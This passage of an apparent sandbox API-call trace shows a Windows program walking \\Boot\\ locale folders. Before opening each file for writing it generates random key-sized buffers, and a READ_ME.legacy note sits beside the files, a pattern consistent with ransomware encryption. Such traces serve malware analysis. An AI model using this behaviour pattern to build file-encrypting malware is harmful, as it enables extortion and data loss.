[0109.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.272] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5787b8 | out: hHeap=0x520000) returned 1 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580bd0 [0109.272] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1298 [0109.272] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580bd0 | out: pbBuffer=0x580bd0) returned 1 [0109.273] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1298 | out: pbBuffer=0x5c1298) returned 1 [0109.273] SetFileAttributesW (lpFileName="\\Boot\\hu-HU\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782a8 [0109.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782a8 | out: hHeap=0x520000) returned 1 [0109.273] CreateFileW (lpFileName="\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.273] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d910 | out: hHeap=0x520000) returned 1 [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563fa0 | out: hHeap=0x520000) returned 1 [0109.273] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563f78 | out: hHeap=0x520000) returned 1 [0109.273] FindFirstFileW (in: lpFileName="\\Boot\\it-IT\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0068 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784a0 | out: hHeap=0x520000) returned 1 [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.274] GetLastError () returned 0x5 [0109.274] SetLastError (dwErrCode=0x5) [0109.274] GetLastError () returned 0x5 [0109.274] SetLastError (dwErrCode=0x5) [0109.274] GetLastError () returned 0x5 [0109.274] SetLastError (dwErrCode=0x5) [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567000 [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d920 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8e8 [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0468 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0468 | out: hHeap=0x520000) returned 1 [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20198 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20198 | out: hHeap=0x520000) returned 1 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8e8 | out: hHeap=0x520000) returned 1 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567000 | out: hHeap=0x520000) returned 1 [0109.274] FindNextFileW (in: hFindFile=0x5a0068, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.274] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.275] GetLastError () returned 0x5 [0109.275] SetLastError (dwErrCode=0x5) [0109.275] GetLastError () returned 0x5 [0109.275] SetLastError (dwErrCode=0x5) [0109.275] GetLastError () returned 0x5 [0109.275] SetLastError (dwErrCode=0x5) [0109.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566fc8 [0109.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d298 [0109.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0109.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a02e8 [0109.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a02e8 | out: hHeap=0x520000) returned 1 [0109.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0109.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0109.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566fc8 | out: hHeap=0x520000) returned 1 [0109.275] FindNextFileW (in: hFindFile=0x5a0068, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.275] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.275] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0109.275] GetLastError () returned 0x5 [0109.275] SetLastError (dwErrCode=0x5) [0109.275] GetLastError () returned 0x5 [0109.275] SetLastError (dwErrCode=0x5) [0109.275] GetLastError () returned 0x5 [0109.275] SetLastError (dwErrCode=0x5) [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.276] FindNextFileW (in: hFindFile=0x5a0068, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5d8ab4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf30285aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.276] GetLastError () returned 0x5 [0109.276] SetLastError (dwErrCode=0x5) [0109.276] GetLastError () returned 0x5 [0109.276] SetLastError (dwErrCode=0x5) [0109.276] GetLastError () returned 0x5 [0109.276] SetLastError (dwErrCode=0x5) [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.276] FindNextFileW (in: hFindFile=0x5a0068, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.276] GetLastError () returned 0x5 [0109.276] SetLastError (dwErrCode=0x5) [0109.276] GetLastError () returned 0x5 [0109.276] SetLastError (dwErrCode=0x5) [0109.276] GetLastError () returned 0x5 [0109.276] SetLastError (dwErrCode=0x5) [0109.276] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.277] FindNextFileW (in: hFindFile=0x5a0068, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581620 [0109.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1238 [0109.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581620 | out: pbBuffer=0x581620) returned 1 [0109.277] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1238 | out: pbBuffer=0x5c1238) returned 1 [0109.277] SetFileAttributesW (lpFileName="\\Boot\\it-IT\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0109.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0109.277] CreateFileW (lpFileName="\\Boot\\it-IT\\memtest.exe.mui" (normalized: "c:\\boot\\it-it\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.277] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578410 | out: hHeap=0x520000) returned 1 [0109.277] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581b48 [0109.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c12b8 [0109.278] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581b48 | out: pbBuffer=0x581b48) returned 1 [0109.278] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c12b8 | out: pbBuffer=0x5c12b8) returned 1 [0109.278] SetFileAttributesW (lpFileName="\\Boot\\it-IT\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.278] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.282] CreateFileW (lpFileName="\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.282] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d848 [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563eb0 | out: hHeap=0x520000) returned 1 [0109.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563e88 | out: hHeap=0x520000) returned 1 [0109.282] FindFirstFileW (in: lpFileName="\\Boot\\ja-JP\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x59ffa8 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.283] GetLastError () returned 0x5 [0109.283] SetLastError (dwErrCode=0x5) [0109.283] GetLastError () returned 0x5 [0109.283] SetLastError (dwErrCode=0x5) [0109.283] GetLastError () returned 0x5 [0109.283] SetLastError (dwErrCode=0x5) [0109.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0109.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d2f0 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0109.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7d0 [0109.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0668 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0668 | out: hHeap=0x520000) returned 1 [0109.283] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0109.283] FindNextFileW (in: hFindFile=0x59ffa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.283] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578530 [0109.284] GetLastError () returned 0x5 [0109.284] SetLastError (dwErrCode=0x5) [0109.284] GetLastError () returned 0x5 [0109.284] SetLastError (dwErrCode=0x5) [0109.284] GetLastError () returned 0x5 [0109.284] SetLastError (dwErrCode=0x5) [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d030 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d030 | out: hHeap=0x520000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d898 [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0228 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x520000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20138 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20138 | out: hHeap=0x520000) returned 1 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0109.284] FindNextFileW (in: hFindFile=0x59ffa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48c6596, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x21212f9a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578530 | out: hHeap=0x520000) returned 1 [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0109.284] GetLastError () returned 0x5 [0109.284] SetLastError (dwErrCode=0x5) [0109.284] GetLastError () returned 0x5 [0109.284] SetLastError (dwErrCode=0x5) [0109.284] GetLastError () returned 0x5 [0109.284] SetLastError (dwErrCode=0x5) [0109.284] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7a8 [0109.284] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7a8 | out: hHeap=0x520000) returned 1 [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5788d8 [0109.285] FindNextFileW (in: hFindFile=0x59ffa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0109.285] GetLastError () returned 0x5 [0109.285] SetLastError (dwErrCode=0x5) [0109.285] GetLastError () returned 0x5 [0109.285] SetLastError (dwErrCode=0x5) [0109.285] GetLastError () returned 0x5 [0109.285] SetLastError (dwErrCode=0x5) [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0109.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5786e0 [0109.285] FindNextFileW (in: hFindFile=0x59ffa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.285] GetLastError () returned 0x5 [0109.285] SetLastError (dwErrCode=0x5) [0109.285] GetLastError () returned 0x5 [0109.285] SetLastError (dwErrCode=0x5) [0109.285] GetLastError () returned 0x5 [0109.285] SetLastError (dwErrCode=0x5) [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0109.285] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0109.285] FindNextFileW (in: hFindFile=0x59ffa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1b89619, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1b89619, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1b89619, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.285] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x581c50 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c0fb8 [0109.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x581c50 | out: pbBuffer=0x581c50) returned 1 [0109.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c0fb8 | out: pbBuffer=0x5c0fb8) returned 1 [0109.286] SetFileAttributesW (lpFileName="\\Boot\\ja-JP\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.286] CreateFileW (lpFileName="\\Boot\\ja-JP\\memtest.exe.mui" (normalized: "c:\\boot\\ja-jp\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5783c8 | out: hHeap=0x520000) returned 1 [0109.286] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5786e0 | out: hHeap=0x520000) returned 1 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x580cd8 [0109.286] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c1078 [0109.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x580cd8 | out: pbBuffer=0x580cd8) returned 1 [0109.286] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c1078 | out: pbBuffer=0x5c1078) returned 1 [0109.286] SetFileAttributesW (lpFileName="\\Boot\\ja-JP\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0109.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0109.287] CreateFileW (lpFileName="\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5788d8 | out: hHeap=0x520000) returned 1 [0109.287] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d820 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x564018 | out: hHeap=0x520000) returned 1 [0109.287] HeapFree (in: hHeap=0x520000, dwFlags=0x0, 